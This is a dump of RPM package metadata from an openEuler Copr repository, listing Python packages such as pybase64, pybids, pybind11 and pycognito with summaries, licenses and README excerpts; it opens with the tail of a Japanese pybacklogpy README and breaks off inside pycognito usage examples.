  そのため、一度に受け取るには、以下のように返り値を受け取る変数を2つ用意する必要があります。

  ```python:sample3.py
  from pybacklogpy.Wiki import Wiki


  wiki_api = Wiki()


  downloaded_file_path, response = self.wiki_attachment.get_wiki_page_attachment(
      wiki_id=12345,
      attachment_id=987654,
  )
  print(downloaded_file_path)
  ```



  自由にブランチを切って、 PullRequest を出してください。Issue を上げるだけでも大丈夫です。
  一週間に一回くらいは見るようにするので、対応出来たら対応します。(全て対応するとは言っていない)

  もし、PR出しても全くリアクションがない場合は Twitter の [kitadakyou](https://twitter.com/kitadakyou) 、若しくは<a href='mailto:kitadakyou@gmail.com'>作者のメール</a>宛にご連絡ください。



  `PyBacklog` も `BacklogPy` も既に存在したので、苦肉の策で Py で挟みました。
  もし、`PyBacklogPy` も存在したら、 `PyBacklogXPyBacklog` という HUNTER×HUNTER 方式で行こうと考えていました。


pkgId: 90c90c0ea187750b6648fc7e9baa544764d72ba16155c4d7a3bd657539f2fab1
name: python-pybalboa
arch: src
version: 1.0.1
epoch: 0
release: 1
summary: Module to communicate with a Balboa spa wifi adapter.
url: https://github.com/garbled1/pybalboa
rpm_license: Apache 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f4b0c277-afba-4e50-a502-e0cb8b89aec0
location_href: 00004638-python-pybalboa/python-pybalboa-1.0.1-1.src.rpm
checksum_type: sha256
description:
  Python Module to interface with a balboa spa
  Requires Python 3 with asyncio.
  To Install::
    pip install pybalboa
  To test::
    python3 pybalboa <ip-of-spa-wifi> <debug-flag>
  To Use
  ``````
  See ``__main__.py`` for usage examples.
  Minimal example::
    import asyncio
    import pybalboa
    async with pybalboa.SpaClient(spa_host) as spa:
      
    return
  Related
  ```````
  - https://github.com/ccutrer/balboa_worldwide_app/wiki - invaluable wiki for Balboa module protocol


pkgId: 1cb4f61c74f40a537b3be30411f1397900fb0150fda490bcdb9aaed8079199ae
name: python-pybase64
arch: src
version: 1.2.3
epoch: 0
release: 1
summary: Fast Base64 encoding/decoding
url: https://github.com/mayeut/pybase64
rpm_license: BSD-2-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5ec9dc4f-4b58-417b-bfc3-69350546237a
location_href: 00010831-python-pybase64/python-pybase64-1.2.3-1.src.rpm
checksum_type: sha256
description:
  |license-status| |pypi-status| |python-versions| |rtd-status| |gha-status| |codecov-status|
  This project is a wrapper on `libbase64 <https://github.com/aklomp/base64>`_.
  It aims to provide a fast base64 implementation for base64 encoding/decoding.


pkgId: a80212d57934c237ce2665d94581a07aa9ced2911775240208000040b878c39d
name: python-pybase64-debuginfo
arch: x86_64
version: 1.2.3
epoch: 0
release: 1
summary: Debug information for package python-pybase64
url: https://github.com/mayeut/pybase64
rpm_license: BSD-2-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-5ec9dc4f-4b58-417b-bfc3-69350546237a
rpm_sourcerpm: python-pybase64-1.2.3-1.src.rpm
location_href: 00010831-python-pybase64/python-pybase64-debuginfo-1.2.3-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pybase64.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: bf49123b612b0951d69976af0830bf22075d041cb85f9a97259f90ac95de0f10
name: python-pybase64-debugsource
arch: x86_64
version: 1.2.3
epoch: 0
release: 1
summary: Debug sources for package python-pybase64
url: https://github.com/mayeut/pybase64
rpm_license: BSD-2-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-5ec9dc4f-4b58-417b-bfc3-69350546237a
rpm_sourcerpm: python-pybase64-1.2.3-1.src.rpm
location_href: 00010831-python-pybase64/python-pybase64-debugsource-1.2.3-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pybase64.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 381d930f2e77a1bb810d2008d0810f9872d7760c8ee90403f99a50bcc47859ab
name: python-pybaseconv
arch: src
version: 0.0.1
epoch: 0
release: 1
summary: This library allows you to convert a number from any base to any base
url: https://pypi.org/project/pybaseconv/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-82f1d4ce-8d0c-48a6-85d2-f4e96caf664d
location_href: 00011286-python-pybaseconv/python-pybaseconv-0.0.1-1.src.rpm
checksum_type: sha256
description:
  [![Build Status](https://travis-ci.com/El-Sam/pybaseconv.svg?branch=master)](https://travis-ci.com/El-Sam/pybaseconv)

  **pybaseconv** is a library that allows you to convert any large number (no fractions) from any base to any other base, thus freedom to choose source and/or destination bases.

  There are 5 predefined bases that are supported by **pybaseconv**, which are:

  * `DEC` : the decimal base  `"0123456789"`.
  * `BIN` : the binary base `"01"`.
  * `OCT` : the octal base `"01234567"`.
  * `HEX` : the hexadecimal base `"0123456789abcdef"`.
  * `FLICKER_BASE_58` & `BITCOIN_BASE_58`: two variations of the **Base58** encoding, more info [here](https://en.wikipedia.org/wiki/Base58).



  ```python
  from pybaseconv import Converter, BASE

  dec2hex_converter = Converter(BASE.DEC, BASE.HEX)
  print(dec2hex_converter.convert('738653'))  # returns b455d

  dec2bitcoin_converter = Converter(BASE.DEC, BASE.BITCOIN_BASE_58)
  print(dec2bitcoin_converter.convert('292251'))  # returns 2Vsp

  dec2custom_base_converter = Converter(BASE.DEC, '*&@#$')
  print(dec2custom_base_converter.convert('539'))  # returns $&@$

  bin2dec_converter = Converter(BASE.BIN, BASE.DEC)
  print(bin2dec_converter.convert('11112'))  # raises exception because 11112 is not a binary number

  ```

  *PS*: when using custom bases, make sure that the digits are sorted from smallest to the largest, in order to get the appropriate conversion.


pkgId: f63f047f6a2b05b535cc0f00fd6fe082742bfb1f628874db14805596ee82ad76
name: python-pybcj-debuginfo
arch: x86_64
version: 1.0.1
epoch: 0
release: 1
summary: Debug information for package python-pybcj
url: http://codeberg.org/miurahr/pybcj
rpm_license: LGPL-2.1-or-later
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-0d894699-08d7-4b1b-b1c2-21df02cf2ed4
rpm_sourcerpm: python-pybcj-1.0.1-1.src.rpm
location_href: 00010858-python-pybcj/python-pybcj-debuginfo-1.0.1-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pybcj.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 2fff5c656f062d1feee32c638f262dbb351363f98be5488431a1b7f83734d4db
name: python-pybcj-debugsource
arch: x86_64
version: 1.0.1
epoch: 0
release: 1
summary: Debug sources for package python-pybcj
url: http://codeberg.org/miurahr/pybcj
rpm_license: LGPL-2.1-or-later
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-0d894699-08d7-4b1b-b1c2-21df02cf2ed4
rpm_sourcerpm: python-pybcj-1.0.1-1.src.rpm
location_href: 00010858-python-pybcj/python-pybcj-debugsource-1.0.1-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pybcj.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 856081bbd8641ed44182c8070ef222c8c1ca3726870bd014e669699e3845503f
name: python-pybids
arch: src
version: 0.15.6
epoch: 0
release: 1
summary: bids: interface with datasets conforming to BIDS
url: http://github.com/bids-standard/pybids
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fe13c5eb-de1e-4974-b16d-c1496768991c
location_href: 00004639-python-pybids/python-pybids-0.15.6-1.src.rpm
checksum_type: sha256
description:
  [![DOI](https://joss.theoj.org/papers/10.21105/joss.01294/status.svg)](https://doi.org/10.21105/joss.01294)
  [![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.2537312.svg)](https://doi.org/10.5281/zenodo.2537312)

  [![Build Status (Linux and OS X)](https://travis-ci.org/bids-standard/pybids.svg?branch=master)](https://travis-ci.org/bids-standard/pybids)<!---[![Build Status (Windows)](https://ci.appveyor.com/api/projects/status/5aa4c6e3m15ew4v7?svg=true)](https://ci.appveyor.com/project/chrisfilo/pybids-ilb80)-->
  [![Binder](https://mybinder.org/badge.svg)](https://mybinder.org/v2/gh/bids-standard/pybids/master)
  [![PyPI version](https://badge.fury.io/py/pybids.svg)](https://badge.fury.io/py/pybids)
  [![Conda version](https://img.shields.io/conda/vn/conda-forge/pybids)](https://anaconda.org/conda-forge/pybids)

  PyBIDS is a Python library to centralize interactions with datasets conforming
  BIDS (Brain Imaging Data Structure) format.  For more information about BIDS
  visit http://bids.neuroimaging.io.

  PyBIDS currently supports Python 3 on POSIX operating systems (including Mac OS).  Windows is not officially supported, though most PyBIDS functionality will probably work fine.


  PyBIDS is most easily installed from pip. To install the latest official release:

  > pip install pybids

  Or, alternatively via conda:

  > conda install -c conda-forge pybids

  If you want to live on the bleeding edge, you can install from master:

  > pip install git+https://github.com/bids-standard/pybids.git


  PyBIDS has a number of dependencies. The core querying functionality requires only the `BIDS-Validator` package. However, most other modules require the core Python neuroimaging stack: `numpy`, `scipy`, `pandas`, and `nibabel`. The `reports` module additionally requires `num2words`. By default, all dependencies will be installed with pybids (if they aren't already available).


  Get started by checking out [the documentation](https://bids-standard.github.io/pybids)!

  Or you can start at [our tutorial](https://bids-standard.github.io/pybids/examples/pybids_tutorial.html)! You can run it interactively without installing anything via [binder](https://mybinder.org/v2/gh/bids-standard/pybids/master). Click on the link and then navigate to `doc/examples/pybids_tutorial.md` to explore.


  To credit PyBIDS in your work, please cite both the [JOSS paper](https://joss.theoj.org/papers/10.21105/joss.01294) and the [Zenodo archive](https://zenodo.org/record/3363985). The former provides a high level description of the package, and the latter points to a permanent record of all PyBIDS versions (we encourage you to cite the specific version you used). Example citations (for PyBIDS 0.9.3):

  Yarkoni et al., (2019). PyBIDS: Python tools for BIDS datasets. Journal of Open Source Software, 4(40), 1294, https://doi.org/10.21105/joss.01294

  Yarkoni, Tal, Markiewicz, Christopher J., de la Vega, Alejandro, Gorgolewski, Krzysztof J., Halchenko, Yaroslav O., Salo, Taylor, … Blair, Ross. (2019, August 8). bids-standard/pybids: 0.9.3 (Version 0.9.3). Zenodo. http://doi.org/10.5281/zenodo.3363985


  Bug reports, feedback, and other contributions to PyBIDS are welcome. To report a bug, request a feature, or raise a technical (non-usage-related) question for discussion, please [open an issue on GitHub](https://github.com/bids-standard/pybids/issues). Requests for support and questions about usage (where no bug is suspected) should be posted on the [NeuroStars](https://neurostars.org) forum. For questions about the [BIDS specification](https://github.com/bids-standard/bids-specification) or [BIDS-Validator](https://github.com/bids-standard/bids-validator), please see the corresponding repositories. For general BIDS-related discussion, see the [bids-discussion](https://groups.google.com/forum/#!forum/bids-discussion) mailing list.

  Pull requests are always welcome. If you have any doubts about the suitability of a PR, or want to discuss implementation-related issues, feel free to open an issue for discussion.

rpm_license:
  The MIT License (MIT)  Copyright (c) 2015-2016, Ariel Rokem, The University of Washington eScience Institute. Copyright (c) 2016--, PyBIDS developers, Planet Earth  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


pkgId: 28c3f3f9524b75bd9c858f7834eda299395c210c9b8b721fcd2c5018281aeb01
name: python-pybigquery
arch: src
version: 0.10.2
epoch: 0
release: 1
summary: OBSOLETE SQLAlchemy dialect for BigQuery
url: https://github.com/googleapis/python-bigquery-sqlalchemy
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-49d46438-f29a-4748-b3bb-96007304b725
location_href: 00009883-python-pybigquery/python-pybigquery-0.10.2-1.src.rpm
checksum_type: sha256
description:
     pybigquery is **obsolete**.  Use `sqlalchemy-bigquery
     <https://pypi.org/project/sqlalchemy-bigquery/>`_ instead.  All
     future changes will be made to sqlalchemy-bigquery.
  |obsolete| |pypi| |versions|
  `SQLALchemy Dialects`_
  - `Dialect Documentation`_
  - `Product Documentation`_


pkgId: e67f3a96c30a1e01716eedca97c7bd1de6456f4eca14c7bb31d9cd4457b9e820
name: python-pybind11
arch: src
version: 2.10.4
epoch: 0
release: 1
summary: Seamless operability between C++11 and Python
url: https://github.com/pybind/pybind11
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6f94ed00-872c-40e2-9890-bfeb2f1ea133
location_href: 00009413-python-pybind11/python-pybind11-2.10.4-1.src.rpm
checksum_type: sha256
description:
  pybind11 can map the following core C++ features to Python:
  - Functions accepting and returning custom data structures per value,
    reference, or pointer
  - Instance methods and static methods
  - Overloaded functions
  - Instance attributes and static attributes
  - Arbitrary exception types
  - Enumerations
  - Callbacks
  - Iterators and ranges
  - Custom operators
  - Single and multiple inheritance
  - STL data structures
  - Smart pointers with reference counting like ``std::shared_ptr``
  - Internal references with correct reference counting
  - C++ classes with virtual (and pure virtual) methods can be extended
    in Python


pkgId: bd829fa56bee21b99b05da11692e2741a4dabc1d9f799cc7316cb2b824d96f55
name: python-pyblake2
arch: src
version: 1.1.2
epoch: 0
release: 1
summary: BLAKE2 hash function extension module
url: https://github.com/dchest/pyblake2
rpm_license: http://creativecommons.org/publicdomain/zero/1.0/
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9f364d8b-e638-44f6-8db3-6eb8f6893f17
location_href: 00013224-python-pyblake2/python-pyblake2-1.1.2-1.src.rpm
checksum_type: sha256
description:
  pyblake2 is an extension module for Python implementing BLAKE2 hash function.

  BLAKE2 is a cryptographic hash function, which offers highest security while
  being as fast as MD5 or SHA-1, and comes in two flavors:

  * BLAKE2b, optimized for 64-bit platforms and produces digests of any size
    between 1 and 64 bytes,

  * BLAKE2s, optimized for 8- to 32-bit platforms and produces digests of any
    size between 1 and 32 bytes.

  BLAKE2 supports keyed mode (a faster and simpler replacement for HMAC),
  salted hashing, personalization, and tree hashing.

  Hash objects from this module follow the API of standard library's
  `hashlib` objects.


pkgId: 4baf476ac36125ff01fd669e2eae9fc5e1fde70da81dc345eba420d466961884
name: python-pyblake2-debuginfo
arch: x86_64
version: 1.1.2
epoch: 0
release: 1
summary: Debug information for package python-pyblake2
url: https://github.com/dchest/pyblake2
rpm_license: http://creativecommons.org/publicdomain/zero/1.0/
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-9f364d8b-e638-44f6-8db3-6eb8f6893f17
rpm_sourcerpm: python-pyblake2-1.1.2-1.src.rpm
location_href: 00013224-python-pyblake2/python-pyblake2-debuginfo-1.1.2-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pyblake2.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: ce004af4920f9a3fce66ac4eefbc8eb9ff171a95b0e8b1a29cc3421c2b3bf674
name: python-pyblake2-debugsource
arch: x86_64
version: 1.1.2
epoch: 0
release: 1
summary: Debug sources for package python-pyblake2
url: https://github.com/dchest/pyblake2
rpm_license: http://creativecommons.org/publicdomain/zero/1.0/
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-9f364d8b-e638-44f6-8db3-6eb8f6893f17
rpm_sourcerpm: python-pyblake2-1.1.2-1.src.rpm
location_href: 00013224-python-pyblake2/python-pyblake2-debugsource-1.1.2-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pyblake2.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 8d8939f151d5ace8d26358c61c9905367c31816d0dafe29ad82f26abec32cd40
name: python-pybreaker
arch: src
version: 1.0.1
epoch: 0
release: 1
summary: Python implementation of the Circuit Breaker pattern
url: http://github.com/danielfm/pybreaker
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-493e411f-a858-438f-9399-d05ffac80791
location_href: 00011446-python-pybreaker/python-pybreaker-1.0.1-1.src.rpm
checksum_type: sha256
description:
  PyBreaker is a Python implementation of the Circuit Breaker pattern, described
  in Michael T. Nygard's book `Release It!`_.
  In Nygard's words, *"circuit breakers exists to allow one subsystem to fail
  without destroying the entire system. This is done by wrapping dangerous
  operations (typically integration points) with a component that can circumvent
  calls when the system is not healthy"*.


pkgId: 85f225d4b2cb1a0ecf5bb927d27d03d029f58c7c845c56ffc7215d0331053d0d
name: python-pybtex-docutils
arch: src
version: 1.0.2
epoch: 0
release: 1
summary: A docutils backend for pybtex.
url: https://github.com/mcmtroffaes/pybtex-docutils
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-22a44268-f45c-4f18-9243-ced066f2b08d
location_href: 00004642-python-pybtex-docutils/python-pybtex-docutils-1.0.2-1.src.rpm
checksum_type: sha256
description:
  The pybtex docutils backend allows `BibTeX <http://www.bibtex.org/>`_
  citations to be inserted into documentation generated by
  `docutils <https://docutils.sourceforge.io/>`_.
  * Download: https://pypi.org/project/pybtex-docutils/#files
  * Documentation: https://pybtex-docutils.readthedocs.io/en/latest/
  * Development: http://github.com/mcmtroffaes/pybtex-docutils/


pkgId: d198b718a157d4754786632e306711dd595665561c7609604f33403a877989ee
name: python-pycares-debuginfo
arch: x86_64
version: 4.3.0
epoch: 0
release: 1
summary: Debug information for package python-pycares
url: http://github.com/saghul/pycares
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-952c768d-26e8-4cfa-84ca-c02af7524f4d
rpm_sourcerpm: python-pycares-4.3.0-1.src.rpm
location_href: 00004643-python-pycares/python-pycares-debuginfo-4.3.0-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pycares.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: c30712b056c15a500a399ffc55f77469bdc5ea61d5e99fd9b5b8a660016991b5
name: python-pycares-debugsource
arch: x86_64
version: 4.3.0
epoch: 0
release: 1
summary: Debug sources for package python-pycares
url: http://github.com/saghul/pycares
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-952c768d-26e8-4cfa-84ca-c02af7524f4d
rpm_sourcerpm: python-pycares-4.3.0-1.src.rpm
location_href: 00004643-python-pycares/python-pycares-debugsource-4.3.0-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pycares.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: bfade2c427bc007bcdf96798b935f332fd0e1389eed1f9a327b3f2f5041b59e2
name: python-pycdio
arch: src
version: 2.1.1
epoch: 0
release: 1
summary: Python OO interface to libcdio (CD Input and Control library)
url: http://www.gnu.org/software/libcdio
rpm_license: GPL
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ed4e9539-2a21-4298-86e2-8d40ca1698cf
location_href: 00004644-python-pycdio/python-pycdio-2.1.1-1.src.rpm
checksum_type: sha256
description:
  pycdio is a Python interface to the *libcdio*, the CD Input and
  Control library http://www.gnu.org/software/libcdio
  You can get the source at the same place as libcdio:
  ftp://ftp.gnu.org:/pub/gnu/libcdio/
  The *pycdio* and *libcdio* libraries encapsulate CD-ROM reading and
  control. Python programs wishing to be oblivious of the OS- and
  device-dependent properties of a CD-ROM can use this library.


pkgId: ed8da8c9356d1ec2dd2c85f9742bdfeca3c57a1d8a4d3c9a123dff192277c8d6
name: python-pychm
arch: src
version: 0.8.6
epoch: 0
release: 1
summary: Python package to handle CHM files
url: https://github.com/dottedmag/pychm
rpm_license: GPL
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-defc6a60-66a5-4836-877b-861670ba978d
location_href: 00004647-python-pychm/python-pychm-0.8.6-1.src.rpm
checksum_type: sha256
description:
  PyCHM is a Python library to manipulate CHM files (Microsoft HTML Help).
  This library supports Python 2.7 and Python 3.5+. It is in a maintenance mode
  and accepts only security and bug fixes.


pkgId: 04dc81790cce9965b627e877dbdd0c934412c6bf887959e88d985bb282627e8a
name: python-pyclipper
arch: src
version: 1.3.0.post4
epoch: 0
release: 1
summary: Cython wrapper for the C++ translation of the Angus Johnson's Clipper library (ver. 6.4.2)
url: https://github.com/greginvm/pyclipper
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5cab8ccd-56d0-44b0-866d-52836cd44646
location_href: 00004648-python-pyclipper/python-pyclipper-1.3.0.post4-1.src.rpm
checksum_type: sha256
description:
  Pyclipper is a Cython wrapper exposing public functions and classes of
  the C++ translation of the `Angus Johnson's Clipper library (ver.
  6.4.2) <http://www.angusj.com/delphi/clipper.php>`__.
  Pyclipper releases were tested with Python 2.7 and 3.4 on Linux (Ubuntu
  14.04, x64) and Windows (8.1, x64).
  Source code is available on
  `GitHub <https://github.com/fonttools/pyclipper>`__. The package is published on
  `PyPI <https://pypi.python.org/pypi/pyclipper>`__.


pkgId: 59f1c93115026ff81b6ed471b36079edc9703c387b2c91c58c128b822e7ed185
name: python-pyclipper-debuginfo
arch: x86_64
version: 1.3.0.post4
epoch: 0
release: 1
summary: Debug information for package python-pyclipper
url: https://github.com/greginvm/pyclipper
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-5cab8ccd-56d0-44b0-866d-52836cd44646
rpm_sourcerpm: python-pyclipper-1.3.0.post4-1.src.rpm
location_href: 00004648-python-pyclipper/python-pyclipper-debuginfo-1.3.0.post4-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pyclipper.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: aeab40c01b434450a8bbd30feda3e7e2f5da913162700115af2a74c466480a50
name: python-pyclipper-debugsource
arch: x86_64
version: 1.3.0.post4
epoch: 0
release: 1
summary: Debug sources for package python-pyclipper
url: https://github.com/greginvm/pyclipper
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-5cab8ccd-56d0-44b0-866d-52836cd44646
rpm_sourcerpm: python-pyclipper-1.3.0.post4-1.src.rpm
location_href: 00004648-python-pyclipper/python-pyclipper-debugsource-1.3.0.post4-1.x86_64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pyclipper.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 77cbbef49c2c312f0de3885bddb24e6ea8585914a442f57c615dd8f4d0daeda8
name: python-pycodestyle
arch: src
version: 2.10.0
epoch: 0
release: 1
summary: Python style guide checker
url: https://pycodestyle.pycqa.org/
rpm_license: Expat license
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6ce2cbe0-5eac-4664-8a92-2607f444e2a8
location_href: 00008989-python-pycodestyle/python-pycodestyle-2.10.0-1.src.rpm
checksum_type: sha256
description:
  pycodestyle is a tool to check your Python code against some of the style
  conventions in `PEP 8`_.
      This package used to be called ``pep8`` but was renamed to ``pycodestyle``
      to reduce confusion. Further discussion can be found `in the issue where
      Guido requested this
      change <https://github.com/PyCQA/pycodestyle/issues/466>`_, or in the
      lightning talk at PyCon 2016 by @IanLee1521:
      `slides <https://speakerdeck.com/ianlee1521/pep8-vs-pep-8>`_
      `video <https://youtu.be/PulzIT8KYLk?t=36m>`_.


pkgId: 3253e665ff8a9d0c9645e1619eefdcfef6c35f59e57323c587afcac1f9250632
name: python-pycognito
arch: src
version: 2022.12.0
epoch: 0
release: 1
summary: Python class to integrate Boto3's Cognito client so it is easy to login users. With SRP support.
url: https://github.com/pvizeli/pycognito
rpm_license: Apache License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f75bc4ea-fe90-4e87-a445-d2a09cb38afe
location_href: 00012509-python-pycognito/python-pycognito-2022.12.0-1.src.rpm
checksum_type: sha256
description:
  Makes working with AWS Cognito easier for Python developers.



  - [Python Versions Supported](#python-versions-supported)
  - [Install](#install)
  - [Environment Variables](#environment-variables)
    - [COGNITO_JWKS](#cognito-jwks) (optional)
  - [Cognito Utility Class](#cognito-utility-class) `pycognito.Cognito`
    - [Cognito Methods](#cognito-methods)
      - [Register](#register)
      - [Authenticate](#authenticate)
      - [Admin Authenticate](#admin-authenticate)
      - [Initiate Forgot Password](#initiate-forgot-password)
      - [Confirm Forgot Password](#confirm-forgot-password)
      - [Change Password](#change-password)
      - [Confirm Sign Up](#confirm-sign-up)
      - [Update Profile](#update-profile)
      - [Send Verification](#send-verification)
      - [Get User Object](#get-user-object)
      - [Get User](#get-user)
      - [Get Users](#get-users)
      - [Get Group Object](#get-group-object)
      - [Get Group](#get-group)
      - [Get Groups](#get-groups)
      - [Check Token](#check-token)
      - [Verify Tokens](#verify-tokens)
      - [Logout](#logout)
      - [Associate Software Token](#associate-software-token)
      - [Verify Software Token](#verify-software-token)
      - [Set User MFA Preference](#set-user-mfa-preference)
      - [Respond to Software Token MFA challenge](#respond-to-software-token-mfa-challenge)
      - [Respond to SMS MFA challenge](#respond-to-sms-mfa-challenge)
  - [Cognito SRP Utility](#cognito-srp-utility)
    - [Using AWSSRP](#using-awssrp)
  - [SRP Requests Authenticator](#srp-requests-authenticator)



  - 3.6
  - 3.7
  - 3.8



  `pip install pycognito`





  **Optional:** This environment variable is a dictionary that represent the well known JWKs assigned to your user pool by AWS Cognito. You can find the keys for your user pool by substituting in your AWS region and pool id for the following example.
  `https://cognito-idp.{aws-region}.amazonaws.com/{user-pool-id}/.well-known/jwks.json`

  **Example Value (Not Real):**

  ```commandline
  COGNITO_JWKS={"keys": [{"alg": "RS256","e": "AQAB","kid": "123456789ABCDEFGHIJKLMNOP","kty": "RSA","n": "123456789ABCDEFGHIJKLMNOP","use": "sig"},{"alg": "RS256","e": "AQAB","kid": "123456789ABCDEFGHIJKLMNOP","kty": "RSA","n": "123456789ABCDEFGHIJKLMNOP","use": "sig"}]}
  ```





  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id',
      client_secret='optional-client-secret'
      username='optional-username',
      id_token='optional-id-token',
      refresh_token='optional-refresh-token',
      access_token='optional-access-token',
      access_key='optional-access-key',
      secret_key='optional-secret-key')
  ```



  - **user_pool_id:** Cognito User Pool ID
  - **client_id:** Cognito User Pool Application client ID
  - **client_secret:** App client secret (if app client is configured with client secret)
  - **username:** User Pool username
  - **id_token:** ID Token returned by authentication
  - **refresh_token:** Refresh Token returned by authentication
  - **access_token:** Access Token returned by authentication
  - **access_key:** AWS IAM access key
  - **secret_key:** AWS IAM secret key





  Used when you only need information about the user pool (ex. list users in the user pool)

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id')
  ```



  Used when the user has not logged in yet. Start with these arguments when you plan to authenticate with either SRP (authenticate) or admin_authenticate (admin_initiate_auth).

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id',
      username='bob')
  ```



  Used after the user has already authenticated and you need to build a new Cognito instance (ex. for use in a view).

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id','your-client-id',
      id_token='your-id-token',
      refresh_token='your-refresh-token',
      access_token='your-access-token')

  u.verify_tokens() # See method doc below; may throw an exception
  ```



  After any authentication or other explicit verification of tokens, the following additional attributes will be available:

  - `id_claims` — A dict of verified claims from the id token
  - `access_claims` — A dict of verified claims from the access token





  Register a user to the user pool

  **Important:** The arguments for `set_base_attributes` and `add_custom_attributes` methods depend on your user pool's configuration, and make sure the client id (app id) used has write permissions for the attributes you are trying to create. Example, if you want to create a user with a given_name equal to Johnson make sure the client_id you're using has permissions to edit or create given_name for a user in the pool.

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id', 'your-client-id')

  u.set_base_attributes(email='you@you.com', some_random_attr='random value')

  u.register('username', 'password')
  ```

  Register with custom attributes.

  Firstly, add custom attributes on 'General settings -> Attributes' page.
  Secondly, set permissions on 'Generals settings-> App clients-> Show details-> Set attribute read and write permissions' page.

  ```python
  from pycognito import Cognito

  u = Cognito('your-user-pool-id', 'your-client-id')

  u.set_base_attributes(email='you@you.com', some_random_attr='random value')

  u.add_custom_attributes(state='virginia', city='Centreville')

  u.register('username', 'password')
  ```



  - **username:** User Pool username
  - **password:** User Pool password
  - **attr_map:** Attribute map to Cognito's attributes



  Authenticates a user

  If this method call succeeds the instance will have the following attributes **id_token**, **refresh_token**, **access_token**, **expires_in**, **expires_datetime**, and **token_type**.

  ```python
  from pycognito import Cognito

